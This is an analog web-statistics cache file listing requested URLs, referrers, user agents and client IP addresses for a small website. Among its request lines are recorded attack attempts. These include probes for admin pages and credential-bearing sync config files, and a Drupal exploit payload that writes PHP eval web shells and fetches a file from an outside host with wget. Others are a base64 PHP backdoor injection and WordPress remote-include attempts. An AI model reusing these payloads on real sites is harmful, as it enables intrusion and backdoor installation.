CACHE type 5 produced by analog 6.0/Unix. Do not modify or delete!
T	0	0	0	0	842	139	0
D	26269756	26271016
1	0	0	0	1	0	0	26223382	0	0	26223382	0	/js/easing.js
1	0	0	0	1	0	0	26265421	0	0	26265421	0	/ftpsync.settings
1	0	0	0	1	0	0	26265421	0	0	26265421	0	/.remote-sync.json
1	0	0	0	1	0	0	26013588	0	0	26013588	0	/shop/errors/503.php
1	0	0	0	1	0	0	26013588	0	0	26013588	0	/store/index.php/admin/?54.36.148.169
1	0	0	9	0	0	25742525	0	0	25699784	0	0	/?104.248.5.167
1	0	0	0	1	0	0	26013588	0	0	26013588	0	/magento/index.php/admin/
1	0	0	1	0	0	25686304	0	0	25686304	0	0	/robots.txt?159.89.38.3
1	0	0	0	1	0	0	26259995	0	0	26259995	0	/store/admin/
1	0	0	5	36	0	25832405	26262665	0	25697930	25840305	0	/robots.txt
1	0	0	0	1	0	0	26259995	0	0	26259995	0	/store/pub/errors/503.php
1	0	0	0	26	0	0	26269756	0	0	26000685	0	/robots.txt?54.36.148.169
1	0	0	0	1	0	0	26013588	0	0	26013588	0	/shop/index.php/admin/
1	0	0	2	4	0	25804853	25948744	0	25745851	25925763	0	/robots.txt?142.93.185.32
1	0	0	0	1	0	0	25908845	0	0	25908845	0	/user/register/?element_parents=account/mail/#value&ajax_form=1&_wrapper_format=drupal_ajax
1	0	0	0	1	0	0	26259995	0	0	26259995	0	/magento/admin/
1	0	0	0	1	0	0	26259995	0	0	26259995	0	/shop/admin/
1	0	0	0	1	0	0	26259995	0	0	26259995	0	/admin/
1	0	0	110	3	0	26268258	26206736	0	26003778	26156179	0	/?54.36.148.169
1	0	0	113	0	0	25946109	0	0	25750391	0	0	/?142.93.185.32
1	0	0	0	1	0	0	25908845	0	0	25908845	0	/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://www.acne-school.ru//sites/all/modules/webform/tests/subform.txt&wpaa=phpinfo();exit();
1	0	0	0	1	0	0	26013589	0	0	26013589	0	/downloader/index.php
1	0	0	0	1	0	0	26259995	0	0	26259995	0	/magento/
1	0	0	0	1	0	0	26259995	0	0	26259995	0	/pub/errors/503.php
1	0	0	0	1	0	0	26163564	0	0	26163564	0	/vb/
1	0	0	0	1	0	0	26013588	0	0	26013588	0	/store/errors/503.php
1	0	0	0	1	0	0	26013589	0	0	26013589	0	/index.php/admin/
1	0	0	0	10	0	0	25999037	0	0	25951121	0	/robots.txt?134.209.41.174
1	0	0	0	1	0	0	26163564	0	0	26163564	0	/vbulletin5/
1	0	0	0	1	0	0	26223382	0	0	26223382	0	/js/jquery-2.1.4.min.js
1	0	0	0	3	0	0	25940804	0	0	25908845	0	/webconfig.txt.php
1	0	0	0	2	0	0	26078639	0	0	26042270	0	/robots.txt?54.188.237.153
1	0	0	8	0	0	25692367	0	0	25659326	0	0	/?165.227.185.216
1	0	0	0	1	0	0	26223382	0	0	26223382	0	/js/bootstrap.js
1	0	0	0	1	0	0	26259995	0	0	26259995	0	/shop/
1	0	0	0	1	0	0	26013588	0	0	26013588	0	/magento/errors/503.php
1	0	0	0	1	0	0	26013589	0	0	26013589	0	/errors/503.php
1	0	0	21	0	0	25652787	0	0	25573172	0	0	/?142.93.67.15
1	0	0	11	0	0	25751307	0	0	25701693	0	0	/?151.80.39.146
1	0	0	0	1	0	0	26265421	0	0	26265421	0	/.vscode/sftp.json
1	0	0	0	1	0	0	26013588	0	0	26013588	0	/magento/downloader/index.php
1	0	0	0	1	0	0	26265421	0	0	26265421	0	/.vscode/ftp-sync.json
1	0	0	0	1	0	0	26259995	0	0	26259995	0	/shop/pub/errors/503.php
1	0	0	484	3	0	26271016	26221305	0	25535887	26193640	0	/
1	0	0	22	0	0	25607743	0	0	25539477	0	0	/?167.99.67.90
1	0	0	0	1	0	0	26265421	0	0	26265421	0	/.ftpconfig
1	0	0	0	1	0	0	25908846	0	0	25908846	0	/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://www.viamarkt.hu/readme.txt&wpaa=phpinfo();exit();
1	0	0	0	1	0	0	25838586	0	0	25838586	0	/.git/HEAD
1	0	0	0	1	0	0	26013588	0	0	26013588	0	/store/downloader/index.php
1	0	0	0	1	0	0	26259995	0	0	26259995	0	/magento2/
1	0	0	0	1	0	0	26163564	0	0	26163564	0	/vb5/
1	0	0	1	0	0	25908845	0	0	25908845	0	0	/?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=echo+'Vuln!!+patch+it+Now!'+>+vuln.htm%3B+echo+'Vuln!!<%3Fphp+@eval($_POST['pass'])+%3F>'>+sites/default/files/vuln.php%3B+echo+'Vuln!!<%3Fphp+@eval($_POST['pass'])+%3F>'>+vuln.php%3B+cd+sites/default/files/%3B+echo+'AddType+application/x-httpd-php+.jpg'+>+.htaccess%3B+wget+'http://40k.waszmann.de/Deutsch/images/up.php'
1	0	0	0	1	0	0	25908846	0	0	25908846	0	/administrator/webconfig.txt.php
1	0	0	1	0	0	25908845	0	0	25908845	0	0	/?1=@ini_set("display_errors","0")%3B@set_time_limit(0)%3B@set_magic_quotes_runtime(0)%3Becho '->|'%3Bfile_put_contents($_SERVER['DOCUMENT_ROOT'].'/webconfig.txt.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'))%3Becho '|<-'%3B
1	0	0	0	1	0	0	26163564	0	0	26163564	0	/forums/
1	0	0	0	1	0	0	26223382	0	0	26223382	0	/js/jssor.slider-27.4.0.min.js
1	0	0	0	1	0	0	26223382	0	0	26223382	0	/js/jquery-2.2.3.min.js
1	0	0	0	1	0	0	26265421	0	0	26265421	0	/sftp-config.json?54.36.148.169
1	0	0	20	0	0	25697069	0	0	25610399	0	0	/?159.89.38.3
1	0	0	0	1	0	0	26252227	0	0	26252227	0	/wp-login.php
1	0	0	0	1	0	0	26223382	0	0	26223382	0	/js/SmoothScroll.min.js
1	0	0	0	1	0	0	26259995	0	0	26259995	0	/magento/pub/errors/503.php
1	0	0	0	1	0	0	26163564	0	0	26163564	0	/forum/
1	0	0	1	0	0	26228733	0	0	26228733	0	0	/?id=24161
1	0	0	17	0	0	25998052	0	0	25954827	0	0	/?134.209.41.174
1	0	0	0	1	0	0	26259995	0	0	26259995	0	/magento2/admin/
1	0	0	0	1	0	0	26163564	0	0	26163564	0	/vbulletin/
1	0	0	0	1	0	0	26265421	0	0	26265421	0	/deployment-config.json
1	0	0	16	0	0	26085150	0	0	26029411	0	0	/?54.188.237.153
1	0	0	0	1	0	0	26223382	0	0	26223382	0	/index2.php
1	0	0	0	1	0	0	26013588	0	0	26013588	0	/shop/downloader/index.php
1	0	0	0	1	0	0	26259995	0	0	26259995	0	/store/
1	0	0	0	1	0	0	26259995	0	0	26259995	0	/magento2/pub/errors/503.php
3	0	0	5	0	0	25833106	0	0	25833106	0	0	https://carlyhouse.com/
3	0	0	1	7	0	25908845	25940804	0	25908845	25908845	0	http://www.google.com.hk/
3	0	0	0	7	0	0	26223382	0	0	26223382	0	https://www.huairouxuan.com/home/index.php
4	0	0	1	0	0	26259848	0	0	26259848	0	0	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)
4	0	0	1	0	0	25668852	0	0	25668852	0	0	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.834.0 Safari/535.1
4	0	0	1	0	0	25833106	0	0	25833106	0	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
4	0	0	2	6	0	26187267	26221305	0	26176173	26156179	0	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
4	0	0	56	0	0	26262314	0	0	25766581	0	0	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
4	0	0	56	0	0	26264439	0	0	25539477	0	0	Mozilla/5.0 zgrab/0.x (compatible; Researchscan/t12ca; +http://researchscan.comsys.rwth-aachen.de)
4	0	0	0	7	0	0	26223382	0	0	26223382	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
4	0	0	1	0	0	25833106	0	0	25833106	0	0	Mozilla/5.0 (Linux; Android 4.2.1; en-us; Nexus 5 Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko; googleweblight) Chrome/38.0.1025.166 Mobile Safari/535.19
4	0	0	1	0	0	25833106	0	0	25833106	0	0	Mozilla/5.0 (iPhone; CPU iPhone OS 12_1_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1
4	0	0	1	0	0	26244352	0	0	26244352	0	0	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
4	0	0	6	0	0	25812200	0	0	25780549	0	0	Mozilla/5.0 (Windows NT 6.3; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
4	0	0	1	0	0	25733499	0	0	25733499	0	0	Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0
4	0	0	1	0	0	26050626	0	0	26050626	0	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
4	0	0	1	0	0	26262661	0	0	26262661	0	0	Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
4	0	0	79	76	0	26269756	26269756	0	25925763	25922514	0	Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)
4	0	0	1	7	0	25908845	25940804	0	25908845	25908845	0	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
4	0	0	1	0	0	25668852	0	0	25668852	0	0	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.04 Chromium/15.0.871.0 Chrome/15.0.871.0 Safari/535.2
4	0	0	0	1	0	0	25838586	0	0	25838586	0	Python-urllib/3.4
4	0	0	12	2	0	25843062	25843062	0	25745851	25840305	0	Mozilla/5.0 (compatible; SemrushBot/3~bl; +http://www.semrush.com/bot.html)
4	0	0	131	0	0	26268227	0	0	25733776	0	0	Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)
4	0	0	2	0	0	25927250	0	0	25923340	0	0	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
4	0	0	1	0	0	26221303	0	0	26221303	0	0	Python/3.6 aiohttp/3.6.2
4	0	0	2	0	0	26175907	0	0	25957399	0	0	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
4	0	0	95	0	0	26271016	0	0	25859524	0	0	Go-http-client/1.1
4	0	0	0	7	0	0	26265421	0	0	26265421	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
4	0	0	2	6	0	26267982	26163564	0	26163564	26163564	0	Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8
4	0	0	6	0	0	26221303	0	0	25918727	0	0	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:52.0) Gecko/20100101 Firefox/52.0
4	0	0	1	0	0	26080099	0	0	26080099	0	0	Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0
4	0	0	6	0	0	25959477	0	0	25730826	0	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
4	0	0	3	0	0	25767613	0	0	25633095	0	0	Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)
4	0	0	5	0	0	25755320	0	0	25686304	0	0	Mozilla/5.0 (compatible; AhrefsBot/5.2; +http://ahrefs.com/robot/)
4	0	0	1	1	0	25908845	26252227	0	25908845	26252227	0	Python-urllib/2.7
4	0	0	1	0	0	25535887	0	0	25535887	0	0	Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.15 (KHTML, like Gecko) Chrome/24.0.1295.0 Safari/537.15
4	0	0	1	0	0	25921301	0	0	25921301	0	0	Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:62.0.2) Gecko/20100101 Firefox/62.0.2
4	0	0	1	0	0	25833106	0	0	25833106	0	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
4	0	0	1	0	0	26228733	0	0	26228733	0	0	Mozilla/5.0 (Windows NT x.y; Win64; x64; rv:10.0) Gecko/20100101 Firefox/10.0
4	0	0	2	0	0	25962025	0	0	25918727	0	0	Python/3.6 aiohttp/3.5.4
4	0	0	42	0	0	26260932	0	0	25568630	0	0	Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com)
4	0	0	51	0	0	26264257	0	0	25541139	0	0	Mozilla/5.0 zgrab/0.x (compatible; Researchscan/t13rl; +http://researchscan.comsys.rwth-aachen.de)
4	0	0	85	0	0	25941377	0	0	25560038	0	0	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
4	0	0	57	0	0	26264536	0	0	25543418	0	0	Mozilla/5.0 zgrab/0.x (compatible; Researchscan/t12sns; +http://researchscan.comsys.rwth-aachen.de)
4	0	0	1	0	0	26254884	0	0	26254884	0	0	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)
4	0	0	1	0	0	26263321	0	0	26263321	0	0	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
4	0	0	10	0	0	26040609	0	0	25768215	0	0	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
4	0	0	3	0	0	25960973	0	0	25960074	0	0	Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
4	0	0	1	0	0	25611081	0	0	25611081	0	0	Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36
4	0	0	1	0	0	25833106	0	0	25833106	0	0	Mozilla/5.0 (Linux U Android 4.4.4 en-US XT1022 Build/KXC21.5-40) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/10.7.0.636 U3/0.8.0 Mobile Safari/534.30
4	0	0	1	0	0	26236035	0	0	26236035	0	0	Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0
4	0	0	1	0	0	26263321	0	0	26263321	0	0	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
4	0	0	8	0	0	26223956	0	0	25939086	0	0	python-requests/2.21.0
4	0	0	0	12	0	0	26013589	0	0	26013588	0	Mozilla/5.0 (Windows; U; Windows NT 2.0) Gecko/20091201 Firefox/3.5.6 GTB5
4	0	0	2	0	0	25819271	0	0	25818257	0	0	Mozilla/5.0 zgrab/0.x
4	0	0	1	14	0	26259995	26259995	0	26259995	26259995	0	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
4	0	0	1	0	0	25611081	0	0	25611081	0	0	Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36
4	0	0	1	0	0	25535887	0	0	25535887	0	0	Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0
4	0	0	68	0	0	26265280	0	0	25544694	0	0	Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36
4	0	0	1	0	0	26265974	0	0	26265974	0	0	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0.1
5	0	0	1	0	0	26086469	0	0	26086469	0	0	167.99.113.0
5	0	0	1	0	0	25906940	0	0	25906940	0	0	52.10.241.76
5	0	0	1	0	0	26262472	0	0	26262472	0	0	54.214.172.1
5	0	0	0	1	0	0	25940804	0	0	25940804	0	192.99.15.141
5	0	0	1	0	0	25957275	0	0	25957275	0	0	54.36.148.164
5	0	0	0	1	0	0	25981671	0	0	25981671	0	54.36.148.163
5	0	0	1	0	0	26062455	0	0	26062455	0	0	34.220.127.61
5	0	0	0	2	0	0	26185452	0	0	26102578	0	54.36.148.157
5	0	0	0	1	0	0	26015338	0	0	26015338	0	54.36.148.156
5	0	0	3	0	0	26221539	0	0	26083665	0	0	129.78.110.131
5	0	0	1	0	0	26048084	0	0	26048084	0	0	18.237.141.232
5	0	0	1	1	0	25981671	25925763	0	25981671	25925763	0	54.36.148.154
5	0	0	0	1	0	0	26000685	0	0	26000685	0	54.36.148.153
5	0	0	1	0	0	26144240	0	0	26144240	0	0	52.25.63.149
5	0	0	1	0	0	25987974	0	0	25987974	0	0	54.36.148.149
5	0	0	2	0	0	25768216	0	0	25768215	0	0	54.147.181.50
5	0	0	0	1	0	0	25961780	0	0	25961780	0	54.36.148.138
5	0	0	1	2	0	26267982	26221305	0	26267982	26193640	0	213.159.213.236
5	0	0	1	0	0	25998938	0	0	25998938	0	0	138.197.79.36
5	0	0	1	0	0	26026554	0	0	26026554	0	0	34.220.23.255
5	0	0	2	0	0	26157585	0	0	26136203	0	0	54.68.202.161
5	0	0	1	0	0	25971714	0	0	25971714	0	0	54.36.148.127
5	0	0	1	0	0	26102830	0	0	26102830	0	0	52.42.127.72
5	0	0	0	1	0	0	26232790	0	0	26232790	0	54.36.148.125
5	0	0	0	1	0	0	26042270	0	0	26042270	0	54.36.148.122
5	0	0	1	0	0	26228733	0	0	26228733	0	0	85.195.230.179
5	0	0	0	1	0	0	25957275	0	0	25957275	0	54.36.148.119
5	0	0	1	0	0	26215538	0	0	26215538	0	0	167.71.101.244
5	0	0	1	0	0	25956320	0	0	25956320	0	0	52.40.3.12
5	0	0	1	1	0	25986998	26127457	0	25986998	26127457	0	54.36.148.99
5	0	0	1	0	0	25927250	0	0	25927250	0	0	13.57.229.18
5	0	0	2	0	0	26073360	0	0	25961780	0	0	54.36.148.96
5	0	0	2	0	0	26220252	0	0	26006676	0	0	54.36.148.114
5	0	0	1	0	0	25917103	0	0	25917103	0	0	54.185.201.253
5	0	0	1	0	0	26203470	0	0	26203470	0	0	34.223.1.40
5	0	0	0	1	0	0	26023487	0	0	26023487	0	54.36.148.93
5	0	0	0	1	0	0	25927189	0	0	25927189	0	54.36.148.91
5	0	0	0	2	0	0	26237690	0	0	26068615	0	54.36.148.108
5	0	0	1	0	0	25742609	0	0	25742609	0	0	159.65.170.222
5	0	0	1	0	0	26271016	0	0	26271016	0	0	34.221.0.82
5	0	0	1	0	0	26109935	0	0	26109935	0	0	34.216.147.101
5	0	0	0	1	0	0	26241543	0	0	26241543	0	54.36.148.105
5	0	0	0	1	0	0	26252418	0	0	26252418	0	54.36.148.85
5	0	0	0	1	0	0	26252227	0	0	26252227	0	46.235.40.28
5	0	0	1	0	0	26070344	0	0	26070344	0	0	54.36.148.102
5	0	0	0	1	0	0	26078639	0	0	26078639	0	54.36.148.101
5	0	0	0	1	0	0	25980273	0	0	25980273	0	54.36.148.81
5	0	0	1	0	0	26072514	0	0	26072514	0	0	54.212.138.23
5	0	0	1	0	0	26223956	0	0	26223956	0	0	54.218.173.149
5	0	0	1	0	0	26019330	0	0	26019330	0	0	34.211.160.191
5	0	0	1	0	0	26225051	0	0	26225051	0	0	54.191.15.2
5	0	0	1	0	0	25990364	0	0	25990364	0	0	54.36.148.76
5	0	0	1	1	0	26241543	26269756	0	26241543	26269756	0	54.36.148.74
5	0	0	1	0	0	25911239	0	0	25911239	0	0	34.208.49.74
5	0	0	1	1	0	25933353	26210549	0	25933353	26210549	0	54.36.148.73
5	0	0	1	0	0	26023555	0	0	26023555	0	0	54.191.107.193
5	0	0	1	0	0	26150711	0	0	26150711	0	0	54.36.148.71
5	0	0	1	0	0	26141359	0	0	26141359	0	0	18.236.91.81
5	0	0	1	0	0	25891720	0	0	25891720	0	0	54.218.90.18
5	0	0	56	0	0	26262314	0	0	25766581	0	0	60.191.38.77
5	0	0	65	0	0	26265280	0	0	25544694	0	0	138.246.253.5
5	0	0	1	0	0	25871035	0	0	25871035	0	0	34.219.74.44
5	0	0	0	1	0	0	25838586	0	0	25838586	0	178.132.1.167
5	0	0	0	1	0	0	26108103	0	0	26108103	0	54.36.148.57
5	0	0	0	1	0	0	25933353	0	0	25933353	0	54.36.150.182
5	0	0	1	6	0	26163564	26163564	0	26163564	26163564	0	45.93.20.4
5	0	0	2	0	0	26232762	0	0	26120692	0	0	209.17.96.90
5	0	0	1	0	0	26243279	0	0	26243279	0	0	54.36.150.181
5	0	0	1	0	0	26178309	0	0	26178309	0	0	209.97.152.240
5	0	0	1	0	0	26108103	0	0	26108103	0	0	54.36.150.178
5	0	0	1	0	0	25925763	0	0	25925763	0	0	54.36.150.177
5	0	0	1	0	0	26085150	0	0	26085150	0	0	191.101.215.91
5	0	0	1	1	0	26106180	25970004	0	26106180	25970004	0	54.36.148.52
5	0	0	1	0	0	26232790	0	0	26232790	0	0	54.36.150.176
5	0	0	0	1	0	0	26111131	0	0	26111131	0	54.36.148.51
5	0	0	1	0	0	26213404	0	0	26213404	0	0	54.203.38.48
5	0	0	1	0	0	25860817	0	0	25860817	0	0	34.219.108.88
5	0	0	1	0	0	26158075	0	0	26158075	0	0	209.17.96.82
5	0	0	1	0	0	26256726	0	0	26256726	0	0	54.186.176.176
5	0	0	1	0	0	26129761	0	0	26129761	0	0	167.71.106.5
5	0	0	1	0	0	25695727	0	0	25695727	0	0	104.248.5.167
5	0	0	1	0	0	25832405	0	0	25832405	0	0	46.229.168.151
5	0	0	2	0	0	26172559	0	0	26131691	0	0	209.17.96.74
5	0	0	0	1	0	0	25840305	0	0	25840305	0	46.229.168.149
5	0	0	2	0	0	25840305	0	0	25745851	0	0	46.229.168.148
5	0	0	1	0	0	25824002	0	0	25824002	0	0	159.65.178.18
5	0	0	1	0	0	26116345	0	0	26116345	0	0	54.36.150.164
5	0	0	2	0	0	25804853	0	0	25795192	0	0	46.229.168.147
5	0	0	1	0	0	26254144	0	0	26254144	0	0	54.36.150.9
5	0	0	1	1	0	25808456	25843062	0	25808456	25843062	0	46.229.168.146
5	0	0	1	0	0	25981521	0	0	25981521	0	0	54.36.149.9
5	0	0	1	0	0	26162189	0	0	26162189	0	0	54.36.149.8
5	0	0	1	0	0	26142049	0	0	26142049	0	0	54.36.150.159
5	0	0	1	0	0	25825966	0	0	25825966	0	0	209.17.96.66
5	0	0	1	0	0	26129790	0	0	26129790	0	0	167.71.93.245
5	0	0	3	0	0	25843062	0	0	25795192	0	0	46.229.168.140
5	0	0	1	0	0	25988536	0	0	25988536	0	0	54.36.149.3
5	0	0	1	0	0	26135296	0	0	26135296	0	0	54.36.150.3
5	0	0	1	0	0	26085863	0	0	26085863	0	0	54.36.149.2
5	0	0	1	0	0	26152110	0	0	26152110	0	0	54.36.148.29
5	0	0	1	0	0	25808456	0	0	25808456	0	0	46.229.168.136
5	0	0	1	0	0	26262665	0	0	26262665	0	0	54.36.150.152
5	0	0	1	0	0	26176985	0	0	26176985	0	0	54.36.150.151
5	0	0	2	0	0	25767613	0	0	25633095	0	0	216.244.66.196
5	0	0	1	0	0	25745851	0	0	25745851	0	0	46.229.168.135
5	0	0	4	0	0	26107124	0	0	25889586	0	0	209.17.96.58
5	0	0	1	0	0	26212087	0	0	26212087	0	0	54.213.56.229
5	0	0	4	2	0	26265974	26165012	0	26176173	26156179	0	213.159.213.137
5	0	0	1	0	0	25804853	0	0	25804853	0	0	46.229.168.133
5	0	0	0	1	0	0	25936433	0	0	25936433	0	54.36.148.24
5	0	0	54	0	0	26264536	0	0	25550408	0	0	137.226.113.28
5	0	0	50	0	0	26264257	0	0	25539477	0	0	137.226.113.27
5	0	0	60	0	0	26254207	0	0	25541139	0	0	137.226.113.26
5	0	0	1	0	0	25955669	0	0	25955669	0	0	54.36.148.20
5	0	0	1	1	0	26118822	26051413	0	26118822	26051413	0	54.36.148.19
5	0	0	1	0	0	25936433	0	0	25936433	0	0	54.36.148.17
5	0	0	1	0	0	26078639	0	0	26078639	0	0	54.36.150.140
5	0	0	1	0	0	25960972	0	0	25960972	0	0	171.13.14.19
5	0	0	1	1	0	25968380	26002698	0	25968380	26002698	0	54.36.148.14
5	0	0	1	0	0	26229076	0	0	26229076	0	0	54.36.150.137
5	0	0	4	0	0	26202079	0	0	25739244	0	0	209.17.96.42
5	0	0	1	0	0	25960973	0	0	25960973	0	0	171.13.14.12
5	0	0	1	0	0	26127457	0	0	26127457	0	0	54.36.150.129
5	0	0	2	0	0	26141135	0	0	26057650	0	0	209.17.96.34
5	0	0	15	0	0	26269310	0	0	25888204	0	0	103.6.196.15
5	0	0	1	0	0	26060038	0	0	26060038	0	0	54.36.150.124
5	0	0	1	0	0	26023487	0	0	26023487	0	0	54.36.150.122
5	0	0	1	0	0	26252283	0	0	26252283	0	0	34.222.98.222
5	0	0	1	0	0	26000685	0	0	26000685	0	0	54.36.150.120
5	0	0	1	0	0	25733499	0	0	25733499	0	0	199.249.230.65
5	0	0	2	0	0	25909100	0	0	25768010	0	0	209.17.96.26
5	0	0	1	0	0	25755320	0	0	25755320	0	0	151.80.39.165
5	0	0	1	0	0	25697930	0	0	25697930	0	0	151.80.39.163
5	0	0	1	0	0	25755320	0	0	25755320	0	0	151.80.39.162
5	0	0	1	0	0	26146986	0	0	26146986	0	0	209.17.96.18
5	0	0	1	0	0	26268258	0	0	26268258	0	0	34.214.160.164
5	0	0	0	1	0	0	26033229	0	0	26033229	0	54.36.149.106
5	0	0	0	1	0	0	25990364	0	0	25990364	0	54.36.149.105
5	0	0	1	0	0	26015174	0	0	26015174	0	0	54.245.190.0
5	0	0	0	1	0	0	26220252	0	0	26220252	0	54.36.149.103
5	0	0	1	0	0	25730826	0	0	25730826	0	0	162.223.11.36
5	0	0	3	0	0	26001492	0	0	25810793	0	0	209.17.96.10
5	0	0	1	0	0	26011449	0	0	26011449	0	0	54.36.149.102
5	0	0	1	0	0	25697930	0	0	25697930	0	0	151.80.39.146
5	0	0	1	0	0	25864480	0	0	25864480	0	0	68.183.55.81
5	0	0	1	0	0	25781823	0	0	25781823	0	0	45.55.62.10
5	0	0	2	0	0	26003778	0	0	26003778	0	0	54.92.171.193
5	0	0	4	0	0	26262661	0	0	26244352	0	0	92.63.111.27
5	0	0	1	0	0	26012772	0	0	26012772	0	0	51.15.192.148
5	0	0	1	0	0	25991844	0	0	25991844	0	0	34.220.147.87
